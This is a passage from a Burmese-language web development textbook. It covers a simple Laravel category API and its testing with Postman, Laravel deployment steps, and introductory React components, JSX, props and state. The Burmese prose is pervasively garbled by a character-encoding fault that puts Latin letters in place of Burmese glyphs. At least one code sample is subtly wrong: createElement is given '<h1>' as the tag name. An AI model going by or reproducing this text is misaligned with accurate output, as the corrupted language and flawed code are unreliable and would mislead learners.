တယ်။  ဒီ  API  ကို  dခါ်သံုးတဲ့  Client  dတဟွာ  တစ်မိနစ်မှာ  zယ်နှစ်ကြကိမ်သာ  dခါ်ခွင့်ရှိတယ်ဆိုတဲ့
ကန့်သတ်ချက်ပါ။ ပြပီးdတာ့ api.php ထဲမှာ dရးထားတဲ့ Route dတွကို အသုံးgပုo့ုိ dရှ့ က /api ထည့်
ပြပီး သံုးdပးရပါတယ်။ ဒါdeကာင့် Route မှာ လိပ်စာကို /categories လ့ုိ dပးထားdပမယ့် အသံုးgပုတဲ့
အခါ /api/categories လ့ုိ သုံးdပးရမှာပါ။

ဆက်လက်ပြပီးdတာ့ CategoryApiController အမည်နဲ့ Controller တစ်ခတုည်dဆာက်ပါမယ်။ ဒီ
လုိ Run dပးပါ။

php artisan make:controller CategoryApiController --api --model=Category

ထူးgခားချက်အdနနဲ့  --api ပါဝင်သွားသလုိ  --model=Category လည်း  ပါဝင်သွားပါတယ်။  --
api လ့ုိ  ထည့်dပးလုိက်တဲ့အတွက်  Controller  oုိင်ထဲမှာ  index, store, show, update,
destroy ဆိုတဲ့  Method (၅)  ခု တစ်ခါတည်း ပါဝင်သွားမှာပါ။  --model နဲ့  Category ကို တွဲdပး
ထားလ့ုိ အထဲမှာ  Category Model Class  ကို  အသင့်  Import  လုပ်ထားdပးမှာပါ။ ကိုယ့်zာသာလုပ်
လည်း ရdပမယ့် အခုလုိ oုိင်တည်dဆာက် ကတည်းက ထည့်ခိုင်းလုိက်လ့ုိ ရတယ်ဆိုတာကို  သိdစချင်လ့ုိ
ပါ။

လက်ရှိdရးထားတဲ့ Route နဲ့ Controller အရ အလုပ်လုပ်တဲ့အခါ အခုလုိ အလုပ်လုပ်သွားမှာပါ။
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• GET /categories -> index()
• GET /categories/{id} -> show()
• POST /categories -> store()
• PUT /categories/{id} -> update()
• DELETE /categories/{id} -> destroy()

ကျွန်dတာ်တို့ ကိုယ့်zာသာdပးခဲ့တဲ့  Method အမည်dတွနဲ့  Laravel  ကdပးတဲ့  Default Method အမည်
dတွ နည်းနည်း ကွာပါတယ်။ ဒါdပမယ့် မှတ်ရခက်dလာက်dအာင် ကွာတာမျ ို းdတာ့ မဟုတ်လ့ုိ အဆင်dgပ
မယ်လို့ ယူဆပါတယ်။ လုိအပ်တဲ့ကုဒ်dတွ စdရးပါမယ်။

 PHP 
<?php

namespace App\Http\Controllers;
use App\Models\Category;
use Illuminate\Http\Request;
class CategoryApiController extends Controller
{
    public function index()
    {
        return Category::all();
    }

    public function store()
    {
        $category = new Category;
        $category->name = request()->name;
        $category->save();
        return $category;
    }

    public function show($id)
    {
        return Category::find($id);
    }

    public function update($id)
    {
        $category = Category::find($id);
        $category->name = request()->name;
        $category->save();



PWD 2022 – အခန်း (၅၂) – Basic API with Laravel 736

        return $category;
    }

    public function destroy($id)
    {
        $category = Category::find($id);
        $category->delete();
        return $category;
    }
}

ကုဒ်က ရိုးရိုးရှင်းရှင်းပါပဲ။  index() က  Category  အားလံုးကို  Model Collection  အdနနဲ့  gပန်dပးပါ
တယ်။ Laravel က အ့ဲဒီ Model Collection ကို JSON Response goစ်dအာင် အလုိအdလျှာက် dgပာင်းပြပီး
gပန်dပးပါတယ်။  ဒါdeကာင့်  Model  Collection  ကို  JSON  goစ်dအာင်  Encode   လုပ်တဲ့  အလုပ်dတွ၊
Response Status Code သတ်မှတ်တဲ့အလုပ်dတွ၊  Response Header မှာ Content-Type သတ်မှတ်တဲ့
အလုပ်dတွ၊ တစ်ခုမှ လုပ်စရာမလိုdတာ့ပါzူး။ တစ်ကယ်dတာ့ API Request / Response ပုိင်းမှာ ကိုယ့်
zာသာ လုပ်ရမယ်ဆိုရင် dတာ်dတာ်အလုပ်ရှုပ်တာပါ။ အခု အ့ဲdလာက်အလုပ်ရှုပ်တဲ့  ကိစ္စကို  လွယ်လွယ်
dလးနဲ့ ရdနတာပါ။

view() Method  ကdတာ့  id နဲ့ကိုက်တဲ့  Category Model  တစ်ခုကို  gပန်dပးပါတယ်။ အတူတူပါပဲ။
Laravel  က JSON Response အdနနဲ့dgပာင်းdပးလုိက်မှာပါ။  store() က Request Data  name ကို
အသံုးgပုပြပီး  Model  အသစ်dဆာက်dပးပါတယ်။ ရလာတဲ့  Model  ကို  gပန်dပးပါတယ်။  update() က
Request Data name ကို အသံုးgပုပြပီး id နဲ့ကိုက်တဲ့ Model ကို Update လုပ်dပးပါတယ်။ destroy()
ကdတာ့  id နဲ့ ကိုက်တဲ့  Model  ကို oျက်dပးပါတယ်။ ဒါဟာ Category dတွကို စီမံလ့ုိရတဲ့ အdgခခံ  API
တစ်ခုကို အလွယ်တစ်ကူနဲ့ gမန်gမန်ဆန်ဆန် ရရှိသွားgခင်းပဲ goစ်ပါတယ်။

dရးထားတဲ့ API လုပ်dဆာင်ချက်dတွကို စမ်းo့ုိအတွက် cURL, Postman, Insomnia စသgoင့် အသံုးဝင်တဲ့
API Testing Tool  အမျ ို းမျ ို းရှိပါတယ်။ နမူနာအdနနဲ့  အ့ဲဒီထဲက Postman  ကိုအသံုးgပုdoာ်gပပါမယ်။ ဒါ
deကာင့် getpostman.com ကdန Postman ကို Download လုပ်ပြပီး Install လုပ်ထားoို့လုိပါမယ်။

https://www.getpostman.com/
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အdပါ်က နမူနာပုံကိုeကည့်ပါ။  Request  Method  dရးွရတဲ့dနရာမှာ  GET  ကိုdရွးထားပြပီး  URL  လိပ်စာ
အdနနဲ့  http://localhost:8000/api/categories ကို dပးထားပါတယ်။ ပြပီးတဲ့အခါ Send
နှိပ်လုိက်ရင်  Postman  က  Request  ကို  ကျွန်dတာ်တို့  dရးထားတဲ့  API  ထံ  dပးပ့ုိသွားပြပီး  gပန်ရလာတဲ့
Response Data ကို doာ်gပdပးမှာ goစ်ပါတယ်။

php artisan serve နဲ့  ပdရာZျက်ကို  Run  ထားo့ုိdတာ့လုိပါတယ်။  Postman  မသံုးzဲ  Browser
မှာပဲ လိပ်စာအgပည့်အစုံ ရိုက်ထည့်ရင်လည်း ရပါတယ်။ ရိုးရိုး GET Request dတွ အတွက်က Browser နဲ့
တင် အဆင်dgပပါတယ်။ တgခား POST, PUT, DELETE dတွသာ Browser မှာ စမ်းရခကတ်ာပါ။

Postman URL  လိပ်စာdနရာမှာ  http://localhost:8000/api/categories/1 လ့ုိdgပာင်း
ပြပီး  စမ်းeကည့်ရင်dတာ့  show() Method  အလုပ်လုပ်သွားမှာgoစ်လ့ုိ   id နံပါတ်  1  နဲ့ကိုက်ညီတဲ့
Category  Data  ကို  gပန်လည်ရရှိမှာ  goစ်ပါတယ်။  Request  Method  မှာ  DELETE ကိdုရွးပြပီး
http://localhost:8000/api/categories/1 ကို Request dပးပ့ုိရင်dတာ့ id နံပါတ် 1 နဲ့
ကိုက်ညီတဲ့ Category ပျက်သွားမှာgoစ်ပါတယ်။ စမ်းeကည့်လ့ုိရပါတယ်။
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အသစ်ထည့်ပြပီးစမ်းeကည့်ချင်ရင်dတာ့  Request  Method  မှာ  POST  ကို  dရွးထားပြပီး  http://
localhost :8000/api/categories ကို  Request  dပးပ့ုိရမှာပါ။  name Parameter  ပါo့ုိလိုပါ
တယ်။ မပါရင် Error တက်မှာပါ။ Validation စစ်တဲ့ကုဒ် မdရးထားပါzူး။ dအာက်ကနမူနာပံုမှာeကည့်ပါ။
Parms အdနနဲ့ name ထည့်dပးထားတာကို dတွ့ရမှာ goစ်ပါတယ်။

အdသးစိတ်ထပ်dgပာမယ်ဆိုရင်dတာ့  API  Design  နဲ့  ပတ်သက်တဲ့အdeကာင်းdတွ  dgပာစရာရှိပါdသး
တယ်။ dနာက်ဆုံးပုိင်းdရာက်dတာ့မှ ဆက်လက် doာ်gပသွားပါမယ်။

ဒီအဆင့်ထိ  dရးခဲ့သမျှကုဒ်  အgပည့်အစုံကို  လုိအပ်တယ်ဆိုရင်  dအာက်မှာdပးထားတဲ့  လိပ်စာကdန
Download ရယူနိုင်ပါတယ်။

- https://github.com/eimg/laravel-book

https://github.com/eimg/laravel-book
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အခန်း (၅၃) – Laravel Deployment

Laravel  ကိုအသံုးgပုပြပီး dရးပုံdရးနည်းdတွ dgပာပြပီးပြပီဆိုdတာ့၊ dရးပြပီးသားပdရာZျက်ကို အများအသုံးgပု
နိုင်oုိ့ Publish dတာ့မယ်ဆိုရင် သတိgပုသင့်တဲ့ အချက်dတွကို doာ်gပသွားပါမယ်။ 

၁။ Laravel ပdရာZျက်dတွမှာ ကုဒ်dရးတဲ့အခါ Route, Controller, View စသgoင့် သူ့dနရာနဲ့သူ dရး
ရdပမယ့် dနာက်ဆုံးရလဒ်ကdတာ့ /public oုိဒါ goစ်ပါတယ်။ ဒါdeကာင့် ပdရာZျက်ကို Publish လုပ်o့ုိ
Web Server  တစ်ခုနဲ့  Setup  လုပ်တဲ့အခါ ပdရာZျက်ကြကီးတစ်ခုလံုးကို  Web Document Root  အdနနဲ့
သတ်မှတ်ရမှာမဟုတ်zဲ  /public oုိဒါကိုပဲ  Root  အdနနဲ့  သတ်မှတ်dပးရမှာ  goစ်ပါတယ်။  ဒါဟာ
dကာင်းမွန်တဲ့ oဲွ့စည်းပံုတစ်ခုပါ။  Web Server  ကdနတစ်ဆင့် ရလဒ်ကိုသာ Access  လုပ်လ့ုိရမှာ goစ်ပြပီး၊
/public oုိဒါ အgပင်zက်က Framework Source Code နဲ့ တgခား Route, Controller, View, Model
ကုဒ်dတွကို Web Server ကdနတစ်ဆင့် Access လုပ်လ့ုိရမှာ မဟုတ်ပါzူး။

၂။ .env oုိင်ကို သတိထားပါ။ .env oုိင် (၂) ခရုှိသင့်ပါတယ်။ Setting dတွ မတူတဲ့အတွက် ကိုယ့်
စက်ထဲက  .env oုိင်နဲ့  Server  dပါ်က  .env oုိင် တူမှာမဟုတ်ပါzူး။ ဥပမာ အားgoင့် ကိုယ့်စက်ထဲက
.env oုိင်မှာ APP_ENV က local goစ်dနdပမယ့် Server dပါ်က .env မှာ production goစ်သင့်
ပါတယ်။ ကိုယ့်စက်ထဲမှာ  APP_URL က localhost goစ်dနdပမယ့်  Server  dပါ်မှာ  Domain Name
အမှနg်oစ်သင့်ပါတယ်။ APP_DEBUG က true ဆိရုင် တစ်ခုခုအဆင်မdgပ တ့ဲအခါ Error အgပည့်အစုံgပ
မှာပါ။ Server dပါ်မှာ false goစ်dနသင့်ပါတယ်။ ဒါမှ User ကို Error dတွအကုန် dလျှာက်မgပdတာ့မှာ
ပါ။  DB_USERNAME တို့  DB_PASSWORD တို့ဟာလည်း  ကိုယ့်စက်ထဲက  Setting  နဲ့  Server  dပါ်က
Setting  တူမှာမဟုတ်ပါzူး။  ဒါdeကာင့်  .env oုိင်ကို  Server  ရဲ့  Setting  dပါ်မူတည်ပြပီး  လုိအပ်သလို
gပင်ဆင်dပးo့ုိ လုိအပ်ပါတယ်။
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၃။ Publish မလုပ်ခင် ပdရာZျက်oိုဒါထဲမှာ ဒီ Command ကို Run dပးသင့်ပါတယ်။

composer install -o --no-dev

Namespaces  အခန်းမှာ  Namespace  Import  လုပ်လုိက်တာနဲ့  သက်ဆိုင်ရာoုိင်ကို  အလုိအdလျှာက်
include() လုပ်dပးdအာင် လုပ်ထားလ့ုိရတယ်လုိ့  dgပာခဲ့oူးပါတယ်။  Composer  မှာ အ့ဲဒီလုိ  အလုပ်
လုပ်dပးနိုင်တဲ့  autoload လုပ်dဆာင်ချက် ပါဝင်ပြပီး  Laravel  က အသံုးgပုထားပါတယ်။ ဒီအလုပ် လုပ်
နိုင်oုိ့အတွက်  Namespace  Import  လုပ်တိုင်း  Composer  က  Class  oုိင်ကို  လုိက်ရှာရပါတယ်။
composer install ကို -o Option နဲ့ Run တဲ့အခါ oုိင်ကို လုိက်ရှာdနစရာ မလုိdအာင် Cache လုပ်
ထားလုိက်လ့ုိ  အလုပ်လုပ်ပံု  ပုိgမန်သွားမှာgoစ်ပါတယ်။  --no-dev ရဲ့  အဓိပ္ပါယ်ကdတာ့  Development
Dependency dခါ် Test Library dတွ Build Library dတွကို ထည့်လုပ်စရာမလုိzူးလ့ုိ dgပာလုိက်တာပါ။

၄။ ပြပီးတဲ့အခါ Framework ကုဒ်dတွ အတွက်လည်း Cache dတွထုတ်dပးရပါမယ်။ ဒီလိုပါ -

php artisan config:cache

php artisan route:cache

php artisan view:cache

/config oုိဒါထဲက ကုဒ်dတွကို  နမူနာdတွမှာ ထိစရာ gပင်စရာ မလုိခဲ့dပမယ့် oွင့်eကည့်လ့ုိ  ရပါတယ်။
App Setting dတွ Database Setting dတွ Auth Setting dတွ အတွက် oုိင်dတွအများကြကီး ရိှတယ်ဆိုတာ
ကို  dတွ့ ရပါလိမ့်မယ်။  config:cache က အ့ဲဒီoုိင်dတွ အားလံုးကို  dပါင်းdပးလုိက်တာပါ။ ဒါdeကာင့်
အလုပ်လုပ်တဲ့အခါ  oုိင်တစ်ခုချင်းစီကို  လုိက်oတ်စရာမလုိdတာ့  ပုိgမန်သွားပါလိမ့်မယ်။  အတတူူပါပဲ
route:cache ကလည်း  dရးထားသမျှ  Route  dတွအကုန်လံုးကို  Function  တစ်ခတုည်းgoစ်dအာင်
dပါင်းdပးလုိက်မှာပါ။ ဒါdeကာင့် Route (၁၀၀) ရိှလ့ုိ Route Method dတွကို အကြကိမ် (၁၀၀) Run စရာမ
လုိdတာ့zဲ တစ်ကြကိမ်းတည်းနဲ့ အလုပ်လုပ်dပးသွားမှာပါ။ view:cache ကdတာ့ Blade dရးထံုးအတိုင်း
dရးထားတဲ့  View Template  dတွကို  ရိုးရိုး  PHP  goစ်dအာင် dgပာင်းdပးသွားမှာမ့ုိလ့ုိ  တစ်ကြကိမ်  အလုပ်
လုပ်တိုင်း တစ်ခါdgပာင်းပြပီး လုပ်dနစရာမလုိdတာ့ပါzူး။
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တစ်ခdုတာ့ သတိgပုပါ။ ဒီလုိ  Cache  dတွ ထုတ်ထားပြပီးdတာ့မှ  Config  dတွ  Route  dတွ  View  dတွကို
gပင်ခဲ့ရင် အလုပ်လုပ်မှာ မဟုတ်dတာ့ပါzူး။ Cache ကိုပဲ အသံုးgပုမှာမ့ုိလ့ုိ ကိုယ့်gပင်ဆင်မှုက သက်dရာက်
မှုရှိမှာ မဟုတ်dတာ့ပါzူး။ ဒါdeကာင့် လုိအပ်ရင် Cache dတွကို gပန်ရှင်းလ့ုိလည်း ရပါတယ်။ ဒီလုိပါ -

php artisan config:clear

php artisan route:clear

php artisan view:clear

ဒီလုပ်ငန်းdတွအားလံုး dဆာင်ရွက်ပြပီးပြပီဆိုရင်dတာ့ ပdရာZျက်ကို လွှင့်တင်o့ုိ  Framework zက်က လုပ်
dပးရမယ့်အလုပ်dတွ gပည့်စုံသွားပါပြပီ။

ဆက်လက်ပြပီးdတာ့ dနာက်တစ်ပုိင်းမှာ React JavaScript Framework အdeကာင်းကို ဆက်လက်doာ်gပ
သွားပါမယ်။



အပိမေုင်း (၆)
React
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အခန်း (၅၄) – React Basic

React  ဟာ ကdန့အချနိ်မှာ အရမ်းdဟာ့dနတဲ့  Front-end  နည်းပညာတစ်ခုပါ။ တစ်ကယ်dတာ့  Front-
end နည်းပညာ အdနနဲ့တင် မကပါzူး၊  Hybrid Mobile App နည်းပညာ အdနနဲ့dရာ၊ Cross-platform
Software Development  နည်းပညာအdနနဲ့ပါ လူကြကိုက်များdနပါတယ်။  React  ဟာ သူသzာဝအရကို
က နည်းပညာပုိင်း အဆင့်gမင့် ရှုပ်dထွးပြပီး dလ့လာရ ခက်ခဲပါတယ်။ ဒီစာအုပ်မှာ အ့ဲဒီလုိ dလ့လာရ ခက်ခဲ
တဲ့ နည်းပညာကို အတတ်နိုင်ဆုံး လွယ်သွားdအာင်၊ ရှင်းသွားdအာင် ဆက်လက်doာ်gပသွားမှာပါ။

React  ကိုအသံုးgပုပြပီး  စမ်းသပ်အဆင့်ကdန  လက်dတွ့သံုး  ပdရာZျက်dတွအထိ  dရးသားoို့အတွက်
လုိအပ်မယ့်  နည်းပညာအားလံုးက  create-react-app လ့ုိdခါ်တဲ့  Package  တစ်ခုမှာ  အားလုံး
စုစည်း ပါဝင်ပါတယ်။ ဒီ Package ကို မသုံးzဲ ရိုးရိုး  JavaScript ကုဒ်oုိင်အdနနဲ့ ထည့်သံုးလည်း ရနိုင်ပါ
တယ်။ ဒီစာအုပ်မှာ create-react-app ကို အသံုးgပုပြပီးdတာ့ပဲ doာ်gပသွားမှာပါ။

Step 1 – Install create-react-app
ပထမအဆင့်အdနနဲ့ မိမိနှစ်သက်ရာ အမည်နဲ့ oုိဒါတစ်ခုdဆာက်ပါ။ အ့ဲဒီoုိဒါထဲမှာ Terminal ကိုoွင့်ပါ။
ပြပီးရင် create-react-app ကို အခုလုိ Install လုပ်ပါ။ 

npm install create-react-app

NPM  ကို  အသံုးgပုပြပီး  လက်ရှိoုိဒါထဲမှာ  create-react-app ကို  Install  လုပ်လုိက်တာပါ  (NPM
deကာင်း dရှ့အပုိင်းdတွမှာ ထည့်သွင်းdoာ်gပခဲ့ပြပီး  goစ်ပါတယ်)။  install အစား အတိုdကာက်  i လ့ုိ
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dgပာရင်လည်း ရပါတယ်။ oွင့်eကည့်ရင် node_modules ဆိုတဲ့ oုိဒါတစ်ခုနဲ့  package-lock.json
ဆိုတဲ့oုိင်တစ်ခု ဝင်သွားတာကို dတွ့ရမှာပါ။ node_modules oုိဒါထဲမှာ Install လုပ်လုိက်တဲ့ Package
dတွနဲ့  ဆက်စပ် Package dတွကို သိမ်းသွားမှာgoစ်ပြပီး package-lock.json မှာdတာ့ အ့ဲဒီ Package
dတရွဲ့ Version နဲ့ ဆက်စပ်မှု အချက်အလက်dတွကို သိမ်းထားမှာ goစ်ပါတယ်။

Step 2 – Create a React Project
dနာက်တစ်ဆင့်အdနနဲ့ React ပdရာZျက်တစ်ခုကို အခုလုိ တည်dဆာက်ရပါမယ်။

npx create-react-app first

npx ကိုအသံုးgပုပြပီး Install လုပ်ထားတဲ့  Package dတွကို  Run လ့ုိ ရပါတယ်။ ဒီလုိ ပdရာZျက်oုိဒါထဲမှာ
Install  လုပ်ထားတဲ့  Package  dတွကို  Local Package  လ့ုိdခါ်ပြပီး  Global Package  ဆိုတာလည်း ရှိပါ
dသးတယ်။ ထည့်မeကည့်ပါနဲ့ဦး၊ သိချင်ရင် dနာက်မှdလ့လာပါ။ အခု  Local Package နဲ့ပဲ dရှ့ဆက်သွား
ပါမယ်။ dပးထားတဲ့ Command အရ create-react-app ကို သံုးပြပီး first အမည်နဲ့ React ပdရာ
Zျက်တစ်ခု တည်dဆာက်လုိက်တာပါ။ တည်dဆာက်လိုက်တဲ့ React ပdရာZျက်ထဲကို Terminal မှာ သွား
လုိက်ပါ။ အခုလုိ သွားလ့ုိရပါတယ်။

cd first 

ပြပီးရင် ပdရာZျက်ကို အခုလုိ Run လ့ုိရပါတယ်။

npm start

ဒီလုိ Run dပးလုိက်တယ်ဆိုရင် Web Browser အလုိအdလျှာက် ပွင့်လာပြပီး အခုလုိရလဒ်ကို ရရိှမှာ goစ်ပါ
တယ်။
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ဒါဟာ တည်dဆာက်လုိက်တဲ့  React ပdရာZျက် Sample ရလဒ် goစ်ပါတယ်။ ဒီလုိရလဒ် dပါ်တယ်ဆိုရင်
React  ပdရာZျက်တစ်ခု  တည်dဆာက်gခင်း  ပြပီးသွားပြပီ  goစ်ပါတယ်။  မdပါ်ရင်dတာ့  Step  1  ကdနစပြပီး
dသချာoတ်ပြပီး dနာကတ်စ်dခါက် gပန်စမ်းeကည့်ပါ။

Step 3 – First React Component
ပdရာZျက်oုိဒါထဲက oုိင်dတွကို တစ်ချက်dလ့လာeကည့်ပါ။ dလာdလာဆယ်မှာ တgခားoိုင်dတွကို ထိစရာ
မလုိdသးပါzူး။ src oုိဒါထဲက App.js ထဲမှာ ကျွန်dတာ်တို့ရဲ့ အဓိကကုဒ်dတွကို dရးသားသွားမှာ goစ်
ပါတယ်။ ဒါdeကာင့်  App.js ထဲက Sample  ကုဒ်dတွကို အကုန်oျက်gပစ်လုိက်ပြပီး ဒီကုဒ်ကို ကူးdရးdပး
ပါ။
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 JavaScript/JSX 
import React from 'react';
class App extends React.Component {
    render() {
        return <h1>Hello React</h1>;
    }
}

export default App;

ဒါဟာ အdgခခံအကျဆုံး React Component တစ်ခုgoစ်ပါတယ်။ ဒီအဆင့်မှာ React Component တစ်ခုရ
o့ုိ အချက်   (  ၃  )   ချက်လုိတယ်   လ့ုိ မှတ်ထားdပးပါ။ 

၁။ React.Component ကို Extend လုပ်ထားတဲ့ Class goစ်ရမယ်
၂။ render() Method ပါရမယ်။
၃။ Element တစ်ခုကို Return gပန်dပးရမယ်။

ဒီ (၃) ချက် gပည့်စုံရင် React Component တစ်ခရုပါပြပီ။ လွယ်ပါတယ်။ တgခားနည်းdတွလည်း ရှိdသးdပ
မယ့် တစ်ဆင့်ချင်းပဲ သွားပါမယ်။ ဒီအဆင့်မှာ  React Component  တစ်ခရုo့ုိ ဒီ  (၃)  ချက်လိုတယ်လ့ုိသာ
မှတ်ထားdပးပါ။

နမူနာအရ App Class  ဟာ React.Component ကို  Extend လုပ်ထားပြပီး  render() Method က
<h1> Element တစ်ခုကို  Return gပန်dပးထားပါတယ်။ တည်dဆာက်ရရှိလာတဲ့  App Component  ကို
dနာက်ဆုံးမှာ Export လုပ်dပးထားတာကို သတိgပုပါ။ အခုdနရလဒ်ကို eကည့်ရင် အခုလုိdတွ့ရမှာပါ။
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create-react-app က ပdရာZျက်အတွက် Hot Reloading လ့ုိdခါ်တဲ့ စနစ်ကို တစ်ခါတည်း ထည့်
ထားdပးလ့ုိ dရးထားတဲ့ကုဒ်မှာ တစ်ခုခုgပင်လိုက်တဲ့အခါ dနာက်တစ်ခါ oွင့်စရာမလုိzဲ၊ Refresh dတွzာ
dတွ လုပ်စရာ မလုိzဲ ရလဒ်ကို တန်းgမင်ရတာကိုလည်း သတိgပုeကည့်ပါ။

Step 4 – JSX
dရးထားတဲ့နမူနာမှာ ထူးgခားချက်တစ်ခု ကျန်ပါdသးတယ်။ <h1> ဆိုတဲ့ HTML Element ကို JavaScript
ထဲမှာ တိုက်ရိုက်ထည့်dရးထားပါတယ်။ ရိုးရိုး JavaScript အရဆိုရင် ဒါဟာ Syntax မှားdနပါတယ်။ တစ်
ကယ်ဆို ဒီလုိgoစ်သင့်ပါတယ်။

 JavaScript/JSX 
render() {
    return "<h1>Hello React</h1>";
}

ဒါမှ မှန်ကန်တဲ့  JavaScript  dရးထံုးgoစ်မှာပါ။  React  dပါ်ခါစကဆိုရင် တူညီတဲ့ရလဒ်ရo့ုိ အခုလုိdရးရပါ
တယ်။
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 JavaScript 
React.createElement('<h1>', null, 'Hello React');

ဒီနည်းနဲ့  <h1> ကိုအသံုးgပုထားပြပီး  Hello React ဆိုတဲ့  Content  ပါဝင်တဲ့   Component  ကို
တည်dဆာက်ယူရတာပါ။ ဒါdပမယ့် dရးရတာ အဆင်မdgပပါzူး။ ဒါdeကာင့် dနာက်ပုိင်းမှာ  JSX  လ့ုိdခါ်
တဲ့ နည်းပညာကို တီထွင်ခဲ့တာပါ။ JSX ဆိုတာ တစ်ကယ်dတာ့ ရိုးရိုးdလးပါ။ HTML Code ကို JavaScript
ထဲမှာ  တိုက်ရိုက်ထည့်dရးလို့  ရdအာင်  ထွင်dပးလုိက်တဲ့  နည်းပညာလ့ုိ  အလွယ်မှတ်နိုင်ပါတယ်။  JSX
dရးထံုးဟာ အများအားgoင့်  HTML  dရးထံုးနဲ့  တူပါတယ်။  Element  တိုင်းမှာ  အပိတ်ပါရမယ်၊  class
Attribute အစား className လ့ုိ သံုးရမယ် စသgoင့် ခြွခင်းချက်တစ်ချ ို ့ ရှိdပမယ့် dခါင်းစားခံပြပီး ကြကိုမှတ်
မdနပါနဲ့။  ကုဒ်နမူနာdတွ  dရးရင်းနဲ့  ဒီထူးgခားချက်  dလးdတွက  သ့ူzာသာ  သတိgပုမိလာပါလိမ့်မယ်။
dစာdစာက dရးခဲ့တဲ့ ကုဒ်ကို ဒီလုိ gပင်ပြပီး စမ်းeကည့်ပါ။

 JavaScript/JSX 
import React from 'react';
class App extends React.Component {
    render() {
        return (
            <div>
                <h1>Hello React</h1>
                <ul>
                    <li>Item One</li>
                    <li>Item Two</li>
                </ul>
            </div>
        )
    }
}

export default App;

render() Function က Return gပန်dပးတာ HTML Structure တစ်ခုgoစ်သွားပါပြပီ။ ထူးgခားချက် နှစ်
ချက် ရှိပါတယ်။ ပထမတစ်ချက်က HTML (JSX) Structure ကို dရးတဲ့အခါ တစ်deကာင်းတည်းမdရးzဲ ခွဲ
dရးချင်လ့ုိ  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  dရးထားရပါတယ်။  မှတ်ထားပါ။  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာမှ
အခုလုိ ခွဲdရးလ့ုိ ရပါတယ်။ ဒုတိယတစ်ခုကdတာ့ အထက်မှာ dgပာခဲ့ပြပီးသားပါ။ React Component တစ်
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ခုgoစ်o့ုိ  Element တစ်ခုကို  Return gပန်dပးရမယ်ဆိုတာ ပါပါတယ်။ တစ်ခုထက်ပုိလ့ုိမရပါzူး။ ဒါdeကာင့်
<div> တစ်ခုထဲမှာ အားလံုးကို စုdရးပြပီး တစ်ခုတည်း အdနနဲ့ gပန်dပးထားရတာကို သတိgပုeကည့်ပါ။

Step 5 – Using Component
ဒီတစ်ခါ  Component  တစ်ခုတည်dဆာက်ပြပီး dနာက်  Component  တစ်ခုကdန ယူသံုးတဲ့  ကုဒ်ကို  dရး
eကည့်ပါမယ်။ ဒီလုိပါ - 

 JavaScript/JSX 
import React from 'react';
class Item extends React.Component {
    render() {
        return <li>Content</li>;
    }
}

class App extends React.Component {
    render() {
        return (
            <div>
                <h1>Hello React</h1>
                <ul>
                    <Item />
                    <Item />
                </ul>
            </div>
        )
    }
}

export default App;

Item အမည်နဲ့  Component  တစ်ခုကို  အရင်dဆာက်ထားပြပီးdတာ့  မှ  App Component  ထဲမှာ  အ့ဲဒီ
Item ကို ယူသံုးထားတာပါ။
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Step 6 – props
နည်းနည်းပို အdရးကြကီးတာdလး လာပါပြပီ။ Component တစ်ခုနဲ့တစ်ခု dခါ်ယူအသံုးgပုတဲ့အခါ Data dပး
လ့ုိရပါတယ်။ HTML Property အdနနဲ့ dပးရပါတယ်။ ဒီလိုdပးလိုက်တဲ့ တန်oုိးdတွကို  Property လ့ုိdခါ်
ပြပီး props ကdနတစ်ဆင့် gပန်ယူသုံးလ့ုိရပါတယ်။ ဒီလိုပါ -

 JavaScript/JSX 
import React from 'react';
class Item extends React.Component {
    render() {
        return (
            <li>
                {this.props.name},
                ${this.props.price}
            </li>
        );
    }
}

class App extends React.Component {
    render() {
        return (
            <div>
                <h1>Hello React</h1>
                <ul>
                    <Item name="Apple" price="0.99" />
                    <Item name="Orange" price="0.89" />
                </ul>
            </div>
        )
    }
}

export default App;

App က Item Component  ကို အသံုးgပုတဲ့အခါ name နဲ့  price ဆိုတဲ့  Property  နှစ်ခုdပးထားသလုိ့
Item  ကလည်း  အ့ဲဒီ  Property  နှစ်ခုကို  အသုံးgပုအလုပ်လုပ်ထားgခင်း  goစ်ပါတယ်။  JSX  dရးထံုးအရ
HTML    ထဲမှာ    JavaScript Expression    dတွ ထည့်dရးချင်ရင် တွန့်ကွင်း  အoွင့်အပိတ်ထဲမှာ dရးdပးရပါ  
တယ်။ ဒါdeကာင့် ဒီကုဒ်ရဲ့ ရလဒ်က အခုလုိgoစ်မှာပါ -
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Step 7 – state
dနာက်ထပ် အdရးကြကီးတဲ့  သdzာသzာဝကdတာ့  state goစ်ပါတယ်။  state ဆိုတာ  Component
အတွက် Data ပါ။  state မှာ သိမ်းထားတဲ့  Data dတွကို အသံုးgပုပြပီး  Component ကို doာ်gပdစနိုင်ပါ
တယ်။  ကုဒ်dတွများလာပြပီမုိ့လ့ုိ  အကုန်လံုးကို  ထပ်ခါထပ်ခါ  dရးမgပdတာ့ပါzူး။  အdgပာင်းအလဲ  မရှိတဲ့
အပုိင်းdတွ ချန်ပြပီး အdgပာင်းအလဲရှိတဲ့အပုိင်းပဲ dရွးထုတ်gပပါdတာ့မယ်။ ဥပမာ - 

 JavaScript/JSX 
 class App extends React.Component {
    state = {
        items: [
            { id: 1, name: 'Apple', price: 0.99 },
            { id: 2, name: 'Orange', price: 0.89 },
        ]
    }

    render() {
        return (
            <div>
                <h1>Hello React</h1>
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                <ul>
                    {this.state.items.map(i => {
                    return (

<Item  
name={i.name} 
price={i.price} 

/>
)

                    })}
                </ul>
            </div>
        )
    }
}

နမူနာမှာ state လ့ုိdခါ်တဲ့  Class Field တစ်ခုပါဝင်လာပြပီး၊ သ့ူရဲ့  items dနရာမှာ JSON Data Array
တစ်ခုကို dပးထားပါတယ်။ အ့ဲဒီ Array ကို map() နဲ့ Loop လုပ်ပြပီး <Item /> dတွကို doာ်gပထားတာ
ကို dတွ့နိုင်ပါတယ်။ ဒီအထိ state ရဲ့ ထူးgခားချက်ကို မgမင်ရdသးပါzူး။ ဒီအထိဆိုရင် state ဆိုတာ
Variable တစ်ခုထက် မပုိdသးပါzူး။ 

တgခား  Variable  dတွနဲ့ မတူzဲ ထူးgခားတာကdတာ့  state     တန်oုိးdgပာင်းရင်    Component    က အလုိ  
အdလျှာက်၊  dgပာင်းလဲသွားတဲ့  တန်oုိးနဲ့အညီ doာ်gပdပးသွားမှာ  goစ်ပါတယ်။ ဒါဟာ  React  ရဲ့  အဓိက
အကျဆုံး Concept ပါ။ state dgပာင်းရင် Component က အလုိအdလျှာက် dgပာင်းလဲ doာ်gပdပးgခင်း
ပါပဲ။

